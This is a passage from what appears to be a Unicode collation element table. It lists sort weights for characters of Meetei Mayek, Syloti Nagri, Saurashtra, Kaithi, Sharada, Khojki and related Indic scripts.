# MEETEI MAYEK LETTER NGOU +ABCA ; [.289A.0020.0002] # MEETEI MAYEK LETTER THOU +ABCB ; [.289B.0020.0002] # MEETEI MAYEK LETTER WAI +ABCC ; [.289C.0020.0002] # MEETEI MAYEK LETTER YANG +ABCD ; [.289D.0020.0002] # MEETEI MAYEK LETTER HUK +ABCE ; [.289E.0020.0002] # MEETEI MAYEK LETTER UN +ABCF ; [.289F.0020.0002] # MEETEI MAYEK LETTER I +ABD0 ; [.28A0.0020.0002] # MEETEI MAYEK LETTER PHAM +ABD1 ; [.28A1.0020.0002] # MEETEI MAYEK LETTER ATIYA +ABD2 ; [.28A2.0020.0002] # MEETEI MAYEK LETTER GOK +ABD3 ; [.28A3.0020.0002] # MEETEI MAYEK LETTER JHAM +ABD4 ; [.28A4.0020.0002] # MEETEI MAYEK LETTER RAI +ABD5 ; [.28A5.0020.0002] # MEETEI MAYEK LETTER BA +ABD6 ; [.28A6.0020.0002] # MEETEI MAYEK LETTER JIL +ABD7 ; [.28A7.0020.0002] # MEETEI MAYEK LETTER DIL +ABD8 ; [.28A8.0020.0002] # MEETEI MAYEK LETTER GHOU +ABD9 ; [.28A9.0020.0002] # MEETEI MAYEK LETTER DHOU +ABDA ; [.28AA.0020.0002] # MEETEI MAYEK LETTER BHAM +AAE0 ; [.28AB.0020.0002] # MEETEI MAYEK LETTER E +AAE1 ; [.28AC.0020.0002] # MEETEI MAYEK LETTER O +AAE2 ; [.28AD.0020.0002] # MEETEI MAYEK LETTER CHA +AAE3 ; [.28AE.0020.0002] # MEETEI MAYEK LETTER NYA +AAE4 ; [.28AF.0020.0002] # MEETEI MAYEK LETTER TTA +AAE5 ; [.28B0.0020.0002] # MEETEI MAYEK LETTER TTHA +AAE6 ; [.28B1.0020.0002] # MEETEI MAYEK LETTER DDA +AAE7 ; [.28B2.0020.0002] # MEETEI MAYEK LETTER DDHA +AAE8 ; [.28B3.0020.0002] # MEETEI MAYEK LETTER NNA +AAE9 ; [.28B4.0020.0002] # MEETEI MAYEK LETTER SHA +AAEA ; [.28B5.0020.0002] # MEETEI MAYEK LETTER SSA +ABE3 ; [.28B6.0020.0002] # MEETEI MAYEK VOWEL SIGN ONAP +ABE4 ; [.28B7.0020.0002] # MEETEI MAYEK VOWEL SIGN INAP +ABE5 ; [.28B8.0020.0002] # MEETEI MAYEK VOWEL SIGN ANAP +ABE6 ; [.28B9.0020.0002] # MEETEI MAYEK VOWEL SIGN YENAP +ABE7 ; [.28BA.0020.0002] # MEETEI MAYEK VOWEL SIGN SOUNAP +ABE8 ; [.28BB.0020.0002] # MEETEI MAYEK VOWEL SIGN UNAP +ABE9 ; [.28BC.0020.0002] # MEETEI MAYEK VOWEL SIGN CHEINAP +ABEA ; [.28BD.0020.0002] # MEETEI MAYEK VOWEL SIGN NUNG +AAEB ; [.28BE.0020.0002] # MEETEI MAYEK VOWEL SIGN II +AAEC ; [.28BF.0020.0002] # MEETEI MAYEK VOWEL SIGN UU +AAED ; [.28C0.0020.0002] # MEETEI MAYEK VOWEL SIGN AAI +AAEE ; [.28C1.0020.0002] # MEETEI MAYEK VOWEL SIGN AU +AAEF ; [.28C2.0020.0002] # MEETEI MAYEK VOWEL SIGN AAU +AAF5 ; [.28C3.0020.0002] # MEETEI MAYEK VOWEL SIGN VISARGA +ABDB ; [.28C4.0020.0002] # MEETEI MAYEK LETTER KOK LONSUM +ABDC ; [.28C5.0020.0002] # MEETEI MAYEK LETTER LAI LONSUM +ABDD ; [.28C6.0020.0002] # MEETEI MAYEK LETTER MIT LONSUM +ABDE ; [.28C7.0020.0002] # MEETEI MAYEK LETTER PA LONSUM +ABDF ; [.28C8.0020.0002] # MEETEI MAYEK LETTER NA LONSUM +ABE0 ; [.28C9.0020.0002] # MEETEI MAYEK LETTER TIL LONSUM +ABE1 ; [.28CA.0020.0002] # MEETEI MAYEK LETTER NGOU LONSUM +ABE2 ; [.28CB.0020.0002] # MEETEI MAYEK LETTER I LONSUM +ABED ; [.28CC.0020.0002] # MEETEI MAYEK APUN IYEK +AAF6 ; [.28CD.0020.0002] # MEETEI MAYEK VIRAMA +A800 ; [.28CE.0020.0002] # SYLOTI NAGRI LETTER A +A801 ; [.28CF.0020.0002] # SYLOTI NAGRI LETTER I +A802 ; [.28D0.0020.0002] # SYLOTI NAGRI SIGN DVISVARA +A803 ; [.28D1.0020.0002] # SYLOTI NAGRI LETTER U +A804 ; [.28D2.0020.0002] # SYLOTI NAGRI LETTER E +A805 ; [.28D3.0020.0002] # SYLOTI NAGRI LETTER O +A806 ; [.28D4.0020.0002] # SYLOTI NAGRI SIGN HASANTA +A807 ; [.28D5.0020.0002] # SYLOTI NAGRI LETTER KO +A808 ; [.28D6.0020.0002] # SYLOTI NAGRI LETTER KHO +A809 ; [.28D7.0020.0002] # SYLOTI NAGRI LETTER GO +A80A ; [.28D8.0020.0002] # SYLOTI NAGRI LETTER GHO +A80C ; [.28D9.0020.0002] # SYLOTI NAGRI LETTER CO +A80D ; [.28DA.0020.0002] # SYLOTI NAGRI LETTER CHO +A80E ; [.28DB.0020.0002] # SYLOTI NAGRI LETTER JO +A80F ; [.28DC.0020.0002] # SYLOTI NAGRI LETTER JHO +A810 ; [.28DD.0020.0002] # SYLOTI NAGRI LETTER TTO +A811 ; [.28DE.0020.0002] # SYLOTI NAGRI LETTER TTHO +A812 ; [.28DF.0020.0002] # SYLOTI NAGRI LETTER DDO +A813 ; [.28E0.0020.0002] # SYLOTI NAGRI LETTER DDHO +A814 ; [.28E1.0020.0002] # SYLOTI NAGRI LETTER TO +A815 ; [.28E2.0020.0002] # SYLOTI NAGRI LETTER THO +A816 ; [.28E3.0020.0002] # SYLOTI NAGRI LETTER DO +A817 ; [.28E4.0020.0002] # SYLOTI NAGRI LETTER DHO +A818 ; [.28E5.0020.0002] # SYLOTI NAGRI LETTER NO +A819 ; [.28E6.0020.0002] # SYLOTI NAGRI LETTER PO +A81A ; [.28E7.0020.0002] # SYLOTI NAGRI LETTER PHO +A81B ; [.28E8.0020.0002] # SYLOTI NAGRI LETTER BO +A81C ; [.28E9.0020.0002] # SYLOTI NAGRI LETTER BHO +A81D ; [.28EA.0020.0002] # SYLOTI NAGRI LETTER MO +A81E ; [.28EB.0020.0002] # SYLOTI NAGRI LETTER RO +A81F ; [.28EC.0020.0002] # SYLOTI NAGRI LETTER LO +A820 ; [.28ED.0020.0002] # SYLOTI NAGRI LETTER RRO +A821 ; [.28EE.0020.0002] # SYLOTI NAGRI LETTER SO +A822 ; [.28EF.0020.0002] # SYLOTI NAGRI LETTER HO +A823 ; [.28F0.0020.0002] # SYLOTI NAGRI VOWEL SIGN A +A824 ; [.28F1.0020.0002] # SYLOTI NAGRI VOWEL SIGN I +A825 ; [.28F2.0020.0002] # SYLOTI NAGRI VOWEL SIGN U +A826 ; [.28F3.0020.0002] # SYLOTI NAGRI VOWEL SIGN E +A827 ; [.28F4.0020.0002] # SYLOTI NAGRI VOWEL SIGN OO +A882 ; [.28F5.0020.0002] # SAURASHTRA LETTER A +A883 ; [.28F6.0020.0002] # SAURASHTRA LETTER AA +A884 ; [.28F7.0020.0002] # SAURASHTRA LETTER I +A885 ; [.28F8.0020.0002] # SAURASHTRA LETTER II +A886 ; [.28F9.0020.0002] # SAURASHTRA LETTER U +A887 ; [.28FA.0020.0002] # SAURASHTRA LETTER UU +A888 ; [.28FB.0020.0002] # SAURASHTRA LETTER VOCALIC R +A889 ; [.28FC.0020.0002] # SAURASHTRA LETTER VOCALIC RR +A88A ; [.28FD.0020.0002] # SAURASHTRA LETTER VOCALIC L +A88B ; [.28FE.0020.0002] # SAURASHTRA LETTER VOCALIC LL +A88C ; [.28FF.0020.0002] # SAURASHTRA LETTER E +A88D ; [.2900.0020.0002] # SAURASHTRA LETTER EE +A88E ; [.2901.0020.0002] # SAURASHTRA LETTER AI +A88F ; [.2902.0020.0002] # SAURASHTRA LETTER O +A890 ; [.2903.0020.0002] # SAURASHTRA LETTER OO +A891 ; [.2904.0020.0002] # SAURASHTRA LETTER AU +A892 ; [.2905.0020.0002] # SAURASHTRA LETTER KA +A893 ; [.2906.0020.0002] # SAURASHTRA LETTER KHA +A894 ; [.2907.0020.0002] # SAURASHTRA LETTER GA +A895 ; [.2908.0020.0002] # SAURASHTRA LETTER GHA +A896 ; [.2909.0020.0002] # SAURASHTRA LETTER NGA +A897 ; [.290A.0020.0002] # SAURASHTRA LETTER CA +A898 ; [.290B.0020.0002] # SAURASHTRA LETTER CHA +A899 ; [.290C.0020.0002] # SAURASHTRA LETTER JA +A89A ; [.290D.0020.0002] # SAURASHTRA LETTER JHA +A89B ; [.290E.0020.0002] # SAURASHTRA LETTER NYA +A89C ; [.290F.0020.0002] # SAURASHTRA LETTER TTA +A89D ; [.2910.0020.0002] # SAURASHTRA LETTER TTHA +A89E ; [.2911.0020.0002] # SAURASHTRA LETTER DDA +A89F ; [.2912.0020.0002] # SAURASHTRA LETTER DDHA +A8A0 ; [.2913.0020.0002] # SAURASHTRA LETTER NNA +A8A1 ; [.2914.0020.0002] # SAURASHTRA LETTER TA +A8A2 ; [.2915.0020.0002] # SAURASHTRA LETTER THA +A8A3 ; [.2916.0020.0002] # SAURASHTRA LETTER DA +A8A4 ; [.2917.0020.0002] # SAURASHTRA LETTER DHA +A8A5 ; [.2918.0020.0002] # SAURASHTRA LETTER NA +A8A6 ; [.2919.0020.0002] # SAURASHTRA LETTER PA +A8A7 ; [.291A.0020.0002] # SAURASHTRA LETTER PHA +A8A8 ; [.291B.0020.0002] # SAURASHTRA LETTER BA +A8A9 ; [.291C.0020.0002] # SAURASHTRA LETTER BHA +A8AA ; [.291D.0020.0002] # SAURASHTRA LETTER MA +A8AB ; [.291E.0020.0002] # SAURASHTRA LETTER YA +A8AC ; [.291F.0020.0002] # SAURASHTRA LETTER RA +A8AD ; [.2920.0020.0002] # SAURASHTRA LETTER LA +A8AE ; [.2921.0020.0002] # SAURASHTRA LETTER VA +A8AF ; [.2922.0020.0002] # SAURASHTRA LETTER SHA +A8B0 ; [.2923.0020.0002] # SAURASHTRA LETTER SSA +A8B1 ; [.2924.0020.0002] # SAURASHTRA LETTER SA +A8B2 ; [.2925.0020.0002] # SAURASHTRA LETTER HA +A8B3 ; [.2926.0020.0002] # SAURASHTRA LETTER LLA +A8B4 ; [.2927.0020.0002] # SAURASHTRA CONSONANT SIGN HAARU +A8B5 ; [.2928.0020.0002] # SAURASHTRA VOWEL SIGN AA +A8B6 ; [.2929.0020.0002] # SAURASHTRA VOWEL SIGN I +A8B7 ; [.292A.0020.0002] # SAURASHTRA VOWEL SIGN II +A8B8 ; [.292B.0020.0002] # SAURASHTRA VOWEL SIGN U +A8B9 ; [.292C.0020.0002] # SAURASHTRA VOWEL SIGN UU +A8BA ; [.292D.0020.0002] # SAURASHTRA VOWEL SIGN VOCALIC R +A8BB ; [.292E.0020.0002] # SAURASHTRA VOWEL SIGN VOCALIC RR +A8BC ; [.292F.0020.0002] # SAURASHTRA VOWEL SIGN VOCALIC L +A8BD ; [.2930.0020.0002] # SAURASHTRA VOWEL SIGN VOCALIC LL +A8BE ; [.2931.0020.0002] # SAURASHTRA VOWEL SIGN E +A8BF ; [.2932.0020.0002] # SAURASHTRA VOWEL SIGN EE +A8C0 ; [.2933.0020.0002] # SAURASHTRA VOWEL SIGN AI +A8C1 ; [.2934.0020.0002] # SAURASHTRA VOWEL SIGN O +A8C2 ; [.2935.0020.0002] # SAURASHTRA VOWEL SIGN OO +A8C3 ; [.2936.0020.0002] # SAURASHTRA VOWEL SIGN AU +A8C4 ; [.2937.0020.0002] # SAURASHTRA SIGN VIRAMA +11083 ; [.2938.0020.0002] # KAITHI LETTER A +11084 ; [.2939.0020.0002] # KAITHI LETTER AA +11085 ; [.293A.0020.0002] # KAITHI LETTER I +11086 ; [.293B.0020.0002] # KAITHI LETTER II +11087 ; [.293C.0020.0002] # KAITHI LETTER U +11088 ; [.293D.0020.0002] # KAITHI LETTER UU +11089 ; [.293E.0020.0002] # KAITHI LETTER E +1108A ; [.293F.0020.0002] # KAITHI LETTER AI +1108B ; [.2940.0020.0002] # KAITHI LETTER O +1108C ; [.2941.0020.0002] # KAITHI LETTER AU +1108D ; [.2942.0020.0002] # KAITHI LETTER KA +1108E ; [.2943.0020.0002] # KAITHI LETTER KHA +1108F ; [.2944.0020.0002] # KAITHI LETTER GA +11090 ; [.2945.0020.0002] # KAITHI LETTER GHA +11091 ; [.2946.0020.0002] # KAITHI LETTER NGA +11092 ; [.2947.0020.0002] # KAITHI LETTER CA +11093 ; [.2948.0020.0002] # KAITHI LETTER CHA +11094 ; [.2949.0020.0002] # KAITHI LETTER JA +11095 ; [.294A.0020.0002] # KAITHI LETTER JHA +11096 ; [.294B.0020.0002] # KAITHI LETTER NYA +11097 ; [.294C.0020.0002] # KAITHI LETTER TTA +11098 ; [.294D.0020.0002] # KAITHI LETTER TTHA +11099 ; [.294E.0020.0002] # KAITHI LETTER DDA +1109A ; [.294E.0020.0002][.0000.00BD.0002] # KAITHI LETTER DDDHA +1109B ; [.294F.0020.0002] # KAITHI LETTER DDHA +1109C ; [.294F.0020.0002][.0000.00BD.0002] # KAITHI LETTER RHA +1109D ; [.2950.0020.0002] # KAITHI LETTER NNA +1109E ; [.2951.0020.0002] # KAITHI LETTER TA +1109F ; [.2952.0020.0002] # KAITHI LETTER THA +110A0 ; [.2953.0020.0002] # KAITHI LETTER DA +110A1 ; [.2954.0020.0002] # KAITHI LETTER DHA +110A2 ; [.2955.0020.0002] # KAITHI LETTER NA +110A3 ; [.2956.0020.0002] # KAITHI LETTER PA +110A4 ; [.2957.0020.0002] # KAITHI LETTER PHA +110A5 ; [.2958.0020.0002] # KAITHI LETTER BA +110AB ; [.2958.0020.0002][.0000.00BD.0002] # KAITHI LETTER VA +110A6 ; [.2959.0020.0002] # KAITHI LETTER BHA +110A7 ; [.295A.0020.0002] # KAITHI LETTER MA +110A8 ; [.295B.0020.0002] # KAITHI LETTER YA +110A9 ; [.295C.0020.0002] # KAITHI LETTER RA +110AA ; [.295D.0020.0002] # KAITHI LETTER LA +110AC ; [.295E.0020.0002] # KAITHI LETTER SHA +110AD ; [.295F.0020.0002] # KAITHI LETTER SSA +110AE ; [.2960.0020.0002] # KAITHI LETTER SA +110AF ; [.2961.0020.0002] # KAITHI LETTER HA +110B0 ; [.2962.0020.0002] # KAITHI VOWEL SIGN AA +110B1 ; [.2963.0020.0002] # KAITHI VOWEL SIGN I +110B2 ; [.2964.0020.0002] # KAITHI VOWEL SIGN II +110B3 ; [.2965.0020.0002] # KAITHI VOWEL SIGN U +110B4 ; [.2966.0020.0002] # KAITHI VOWEL SIGN UU +110B5 ; [.2967.0020.0002] # KAITHI VOWEL SIGN E +110B6 ; [.2968.0020.0002] # KAITHI VOWEL SIGN AI +110B7 ; [.2969.0020.0002] # KAITHI VOWEL SIGN O +110B8 ; [.296A.0020.0002] # KAITHI VOWEL SIGN AU +110B9 ; [.296B.0020.0002] # KAITHI SIGN VIRAMA +11150 ; [.296C.0020.0002] # MAHAJANI LETTER A +11151 ; [.296D.0020.0002] # MAHAJANI LETTER I +11152 ; [.296E.0020.0002] # MAHAJANI LETTER U +11153 ; [.296F.0020.0002] # MAHAJANI LETTER E +11154 ; [.2970.0020.0002] # MAHAJANI LETTER O +11155 ; [.2971.0020.0002] # MAHAJANI LETTER KA +11156 ; [.2972.0020.0002] # MAHAJANI LETTER KHA +11157 ; [.2973.0020.0002] # MAHAJANI LETTER GA +11158 ; [.2974.0020.0002] # MAHAJANI LETTER GHA +11159 ; [.2975.0020.0002] # MAHAJANI LETTER CA +1115A ; [.2976.0020.0002] # MAHAJANI LETTER CHA +1115B ; [.2977.0020.0002] # MAHAJANI LETTER JA +1115C ; [.2978.0020.0002] # MAHAJANI LETTER JHA +1115D ; [.2979.0020.0002] # MAHAJANI LETTER NYA +1115E ; [.297A.0020.0002] # MAHAJANI LETTER TTA +1115F ; [.297B.0020.0002] # MAHAJANI LETTER TTHA +11160 ; [.297C.0020.0002] # MAHAJANI LETTER DDA +11161 ; [.297D.0020.0002] # MAHAJANI LETTER DDHA +11162 ; [.297E.0020.0002] # MAHAJANI LETTER NNA +11163 ; [.297F.0020.0002] # MAHAJANI LETTER TA +11164 ; [.2980.0020.0002] # MAHAJANI LETTER THA +11165 ; [.2981.0020.0002] # MAHAJANI LETTER DA +11166 ; [.2982.0020.0002] # MAHAJANI LETTER DHA +11167 ; [.2983.0020.0002] # MAHAJANI LETTER NA +11168 ; [.2984.0020.0002] # MAHAJANI LETTER PA +11169 ; [.2985.0020.0002] # MAHAJANI LETTER PHA +1116A ; [.2986.0020.0002] # MAHAJANI LETTER BA +1116B ; [.2987.0020.0002] # MAHAJANI LETTER BHA +1116C ; [.2988.0020.0002] # MAHAJANI LETTER MA +1116D ; [.2989.0020.0002] # MAHAJANI LETTER RA +1116E ; [.298A.0020.0002] # MAHAJANI LETTER LA +1116F ; [.298B.0020.0002] # MAHAJANI LETTER VA +11176 ; [.298C.0020.0002] # MAHAJANI LIGATURE SHRI +11170 ; [.298D.0020.0002] # MAHAJANI LETTER SA +11171 ; [.298E.0020.0002] # MAHAJANI LETTER HA +11172 ; [.298F.0020.0002] # MAHAJANI LETTER RRA +111C4 ; [.2990.0020.0002] # SHARADA OM +111DA ; [.2991.0020.0002] # SHARADA EKAM +11183 ; [.2992.0020.0002] # SHARADA LETTER A +11184 ; [.2993.0020.0002] # SHARADA LETTER AA +11185 ; [.2994.0020.0002] # SHARADA LETTER I +11186 ; [.2995.0020.0002] # SHARADA LETTER II +11187 ; [.2996.0020.0002] # SHARADA LETTER U +11188 ; [.2997.0020.0002] # SHARADA LETTER UU +11189 ; [.2998.0020.0002] # SHARADA LETTER VOCALIC R +1118A ; [.2999.0020.0002] # SHARADA LETTER VOCALIC RR +1118B ; [.299A.0020.0002] # SHARADA LETTER VOCALIC L +1118C ; [.299B.0020.0002] # SHARADA LETTER VOCALIC LL +1118D ; [.299C.0020.0002] # SHARADA LETTER E +1118E ; [.299D.0020.0002] # SHARADA LETTER AI +1118F ; [.299E.0020.0002] # SHARADA LETTER O +11190 ; [.299F.0020.0002] # SHARADA LETTER AU +11191 ; [.29A0.0020.0002] # SHARADA LETTER KA +11192 ; [.29A1.0020.0002] # SHARADA LETTER KHA +11193 ; [.29A2.0020.0002] # SHARADA LETTER GA +11194 ; [.29A3.0020.0002] # SHARADA LETTER GHA +11195 ; [.29A4.0020.0002] # SHARADA LETTER NGA +11196 ; [.29A5.0020.0002] # SHARADA LETTER CA +11197 ; [.29A6.0020.0002] # SHARADA LETTER CHA +11198 ; [.29A7.0020.0002] # SHARADA LETTER JA +11199 ; [.29A8.0020.0002] # SHARADA LETTER JHA +1119A ; [.29A9.0020.0002] # SHARADA LETTER NYA +1119B ; [.29AA.0020.0002] # SHARADA LETTER TTA +1119C ; [.29AB.0020.0002] # SHARADA LETTER TTHA +1119D ; [.29AC.0020.0002] # SHARADA LETTER DDA +1119E ; [.29AD.0020.0002] # SHARADA LETTER DDHA +1119F ; [.29AE.0020.0002] # SHARADA LETTER NNA +111A0 ; [.29AF.0020.0002] # SHARADA LETTER TA +111A1 ; [.29B0.0020.0002] # SHARADA LETTER THA +111A2 ; [.29B1.0020.0002] # SHARADA LETTER DA +111A3 ; [.29B2.0020.0002] # SHARADA LETTER DHA +111A4 ; [.29B3.0020.0002] # SHARADA LETTER NA +111A5 ; [.29B4.0020.0002] # SHARADA LETTER PA +111A6 ; [.29B5.0020.0002] # SHARADA LETTER PHA +111A7 ; [.29B6.0020.0002] # SHARADA LETTER BA +111A8 ; [.29B7.0020.0002] # SHARADA LETTER BHA +111A9 ; [.29B8.0020.0002] # SHARADA LETTER MA +111AA ; [.29B9.0020.0002] # SHARADA LETTER YA +111AB ; [.29BA.0020.0002] # SHARADA LETTER RA +111AC ; [.29BB.0020.0002] # SHARADA LETTER LA +111AD ; [.29BC.0020.0002] # SHARADA LETTER LLA +111AE ; [.29BD.0020.0002] # SHARADA LETTER VA +111AF ; [.29BE.0020.0002] # SHARADA LETTER SHA +111B0 ; [.29BF.0020.0002] # SHARADA LETTER SSA +111B1 ; [.29C0.0020.0002] # SHARADA LETTER SA +111B2 ; [.29C1.0020.0002] # SHARADA LETTER HA +111C1 ; [.29C2.0020.0002] # SHARADA SIGN AVAGRAHA +111C2 ; [.29C3.0020.0002] # SHARADA SIGN JIHVAMULIYA +111C3 ; [.29C4.0020.0002] # SHARADA SIGN UPADHMANIYA +111DC ; [.29C5.0020.0002] # SHARADA HEADSTROKE +111B3 ; [.29C6.0020.0002] # SHARADA VOWEL SIGN AA +111B4 ; [.29C7.0020.0002] # SHARADA VOWEL SIGN I +111B5 ; [.29C8.0020.0002] # SHARADA VOWEL SIGN II +111B6 ; [.29C9.0020.0002] # SHARADA VOWEL SIGN U +111B7 ; [.29CA.0020.0002] # SHARADA VOWEL SIGN UU +111B8 ; [.29CB.0020.0002] # SHARADA VOWEL SIGN VOCALIC R +111B9 ; [.29CC.0020.0002] # SHARADA VOWEL SIGN VOCALIC RR +111BA ; [.29CD.0020.0002] # SHARADA VOWEL SIGN VOCALIC L +111BB ; [.29CE.0020.0002] # SHARADA VOWEL SIGN VOCALIC LL +111BC ; [.29CF.0020.0002] # SHARADA VOWEL SIGN E +111BD ; [.29D0.0020.0002] # SHARADA VOWEL SIGN AI +111BE ; [.29D1.0020.0002] # SHARADA VOWEL SIGN O +111BF ; [.29D2.0020.0002] # SHARADA VOWEL SIGN AU +111C0 ; [.29D3.0020.0002] # SHARADA SIGN VIRAMA +11200 ; [.29D4.0020.0002] # KHOJKI LETTER A +11201 ; [.29D5.0020.0002] # KHOJKI LETTER AA +11202 ; [.29D6.0020.0002] # KHOJKI LETTER I +11203 ; [.29D7.0020.0002] # KHOJKI LETTER U +11204 ; [.29D8.0020.0002] # KHOJKI LETTER E +11205 ; [.29D9.0020.0002] # KHOJKI LETTER AI +11206 ; [.29DA.0020.0002] # KHOJKI LETTER O +11207 ; [.29DB.0020.0002] # KHOJKI LETTER AU +11208 ; [.29DC.0020.0002] # KHOJKI LETTER KA +11209 ; [.29DD.0020.0002] # KHOJKI LETTER KHA +1120A ; [.29DE.0020.0002] # KHOJKI LETTER GA +1120B ; [.29DF.0020.0002] # KHOJKI LETTER GGA +1120C ; [.29E0.0020.0002] # KHOJKI LETTER GHA +1120D ; [.29E1.0020.0002] # KHOJKI LETTER NGA +1120E ; [.29E2.0020.0002] # KHOJKI LETTER CA +1120F ; [.29E3.0020.0002] # KHOJKI LETTER CHA +11210 ; [.29E4.0020.0002] # KHOJKI LETTER JA +11211 ; [.29E5.0020.0002] # KHOJKI LETTER JJA +11213 ; [.29E6.0020.0002] # KHOJKI LETTER NYA +11214 ; [.29E7.0020.0002] # KHOJKI LETTER TTA +11215 ; [.29E8.0020.0002] # KHOJKI LETTER TTHA +11216 ; [.29E9.0020.0002] # KHOJKI LETTER DDA +11217 ; [.29EA.0020.0002] # KHOJKI LETTER DDHA +11218 ; [.29EB.0020.0002] # KHOJKI LETTER NNA +11219 ; [.29EC.0020.0002] # KHOJKI LETTER TA +1121A ; [.29ED.0020.0002] # KHOJKI LETTER THA +1121B ; [.29EE.0020.0002] # KHOJKI LETTER DA +1121C ; [.29EF.0020.0002] # KHOJKI LETTER DDDA +1121D ; [.29F0.0020.0002] # KHOJKI LETTER DHA +1121E ; [.29F1.0020.0002] # KHOJKI LETTER NA +1121F ; [.29F2.0020.0002] # KHOJKI LETTER PA +11220 ; [.29F3.0020.0002] # KHOJKI LETTER PHA +11221 ; [.29F4.0020.0002] # KHOJKI LETTER BA +11222 ; [.29F5.0020.0002] # KHOJKI LETTER BBA +11223 ; [.29F6.0020.0002] # KHOJKI LETTER BHA +11224 ; [.29F7.0020.0002] # KHOJKI LETTER MA +11225 ; [.29F8.0020.0002] # KHOJKI LETTER YA +11226 ; [.29F9.0020.0002] # KHOJKI LETTER RA +11227 ; [.29FA.0020.0002] # KHOJKI LETTER LA +11228 ; [.29FB.0020.0002] # KHOJKI LETTER VA +11229 ; [.29FC.0020.0002] # KHOJKI LETTER SA +1122A ; [.29FD.0020.0002] # KHOJKI LETTER HA +1122B ; [.29FE.0020.0002] # KHOJKI LETTER LLA +1122C ; [.29FF.0020.0002] # KHOJKI VOWEL SIGN AA +1122D ; [.2A00.0020.0002] # KHOJKI VOWEL SIGN I +1122E ; [.2A01.0020.0002] # KHOJKI VOWEL SIGN II +1122F ; [.2A02.0020.0002] # KHOJKI VOWEL SIGN U +11230 ; [.2A03.0020.0002] # KHOJKI VOWEL SIGN E +11231 ; [.2A04.0020.0002] # KHOJKI VOWEL SIGN AI +11232 ; [.2A05.0020.0002] # KHOJKI VOWEL SIGN O +11233 ; [.2A06.0020.0002] # KHOJKI VOWEL SIGN AU +11235 ; [.2A07.0020.0002] # KHOJKI SIGN VIRAMA +112B0 ; [.2A08.0020.0002] # KHUDAWADI LETTER A +112B1 ; [.2A09.0020.0002] # KHUDAWADI LETTER AA +112B2 ; [.2A0A.0020.0002] # KHUDAWADI LETTER I +112B3 ; [.2A0B.0020.0002] # KHUDAWADI LETTER II +112B4 ; [.2A0C.0020.0002] # KHUDAWADI LETTER U +112B5 ; [.2A0D.0020.0002] # KHUDAWADI LETTER UU +112B6 ; [.2A0E.0020.0002] # KHUDAWADI LETTER E +112B7 ; [.2A0F.0020.0002] # KHUDAWADI LETTER AI +112B8 ; [.2A10.0020.0002] # KHUDAWADI LETTER O +112B9 ; [.2A11.0020.0002] # KHUDAWADI LETTER AU +112BA ; [.2A12.0020.0002] # KHUDAWADI LETTER KA +112BB ; [.2A13.0020.0002] # KHUDAWADI LETTER KHA +112BC ; [.2A14.0020.0002] # KHUDAWADI LETTER GA +112BD ; [.2A15.0020.0002] # KHUDAWADI LETTER GGA +112BE ; [.2A16.0020.0002] # KHUDAWADI LETTER GHA +112BF ; [.2A17.0020.0002] # KHUDAWADI LETTER NGA +112C0 ; [.2A18.0020.0002] # KHUDAWADI LETTER CA +112C1 ; [.2A19.0020.0002] # KHUDAWADI LETTER CHA +112C2 ; [.2A1A.0020.0002] # KHUDAWADI LETTER JA +112C3 ; [.2A1B.0020.0002] # KHUDAWADI LETTER JJA +112C4 ; [.2A1C.0020.0002] # KHUDAWADI LETTER JHA +112C5 ; [.2A1D.0020.0002] # KHUDAWADI LETTER NYA +112C6 ; [.2A1E.0020.0002] # KHUDAWADI LETTER TTA +112C7 ; [.2A1F.0020.0002] # KHUDAWADI LETTER TTHA +112C8 ; [.2A20.0020.0002] # KHUDAWADI LETTER DDA +112C9 ; [.2A21.0020.0002] # KHUDAWADI LETTER DDDA +112CA ; [.2A22.0020.0002] # KHUDAWADI LETTER RRA +112CB ; [.2A23.0020.0002] # KHUDAWADI LETTER DDHA +112CC ; [.2A24.0020.0002] # KHUDAWADI LETTER NNA +112CD ; [.2A25.0020.0002] # KHUDAWADI LETTER TA +112CE ; [.2A26.0020.0002] # KHUDAWADI LETTER THA +112CF ; [.2A27.0020.0002] # KHUDAWADI LETTER DA +112D0 ; [.2A28.0020.0002] # KHUDAWADI LETTER DHA +112D1 ; [.2A29.0020.0002] # KHUDAWADI LETTER NA +112D2 ; [.2A2A.0020.0002] # KHUDAWADI LETTER PA +112D3 ; [.2A2B.0020.0002] # KHUDAWADI LETTER PHA +112D4 ; [.2A2C.0020.0002] # KHUDAWADI LETTER BA +112D5 ; [.2A2D.0020.0002] # KHUDAWADI LETTER BBA +112D6 ; [.2A2E.0020.0002] # KHUDAWADI LETTER BHA +112D7 ; [.2A2F.0020.0002] # KHUDAWADI LETTER MA +112D8 ; [.2A30.0020.0002] # KHUDAWADI LETTER YA +112D9 ; [.2A31.0020.0002] # KHUDAWADI LETTER RA +112DA ; [.2A32.0020.0002] # KHUDAWADI LETTER LA +112DB ; [.2A33.0020.0002] # KHUDAWADI LETTER VA +112DC ; [.2A34.0020.0002] # KHUDAWADI LETTER SHA +112DD ; [.2A35.0020.0002] # KHUDAWADI LETTER SA +112DE ; [.2A36.0020.0002] # KHUDAWADI LETTER HA +112E0 ; [.2A37.0020.0002] # KHUDAWADI VOWEL SIGN AA +112E1 ; [.2A38.0020.0002] # KHUDAWADI VOWEL SIGN I +112E2 ; [.2A39.0020.0002] # KHUDAWADI VOWEL SIGN II +112E3 ; [.2A3A.0020.0002] # KHUDAWADI VOWEL SIGN U +112E4 ; [.2A3B.0020.0002] # KHUDAWADI VOWEL SIGN UU +112E5 ; [.2A3C.0020.0002] # KHUDAWADI VOWEL SIGN E +112E6 ; [.2A3D.0020.0002] # KHUDAWADI VOWEL SIGN AI +112E7 ; [.2A3E.0020.0002] # KHUDAWADI VOWEL SIGN O +112E8 ; [.2A3F.0020.0002] # KHUDAWADI VOWEL SIGN AU +112EA ; [.2A40.0020.0002] # KHUDAWADI SIGN VIRAMA +11280 ; [.2A41.0020.0002] # MULTANI LETTER A +11281 ; [.2A42.0020.0002] # MULTANI LETTER I +11282 ; [.2A43.0020.0002] # MULTANI LETTER U +11283 ; [.2A44.0020.0002] # MULTANI LETTER E +112A5 ; [.2A45.0020.0002] # MULTANI LETTER SA +112A6 ; [.2A46.0020.0002] # MULTANI LETTER HA +11284 ; [.2A47.0020.0002] # MULTANI LETTER KA +11285 ; [.2A48.0020.0002] # MULTANI LETTER KHA +11286 ; [.2A49.0020.0002] # MULTANI LETTER GA +11288 ; [.2A4A.0020.0002] # MULTANI LETTER GHA +1128A ; [.2A4B.0020.0002] # MULTANI LETTER CA +1128B ; [.2A4C.0020.0002] # MULTANI LETTER CHA +1128C ; [.2A4D.0020.0002] # MULTANI LETTER JA +1128D ; [.2A4E.0020.0002] # MULTANI 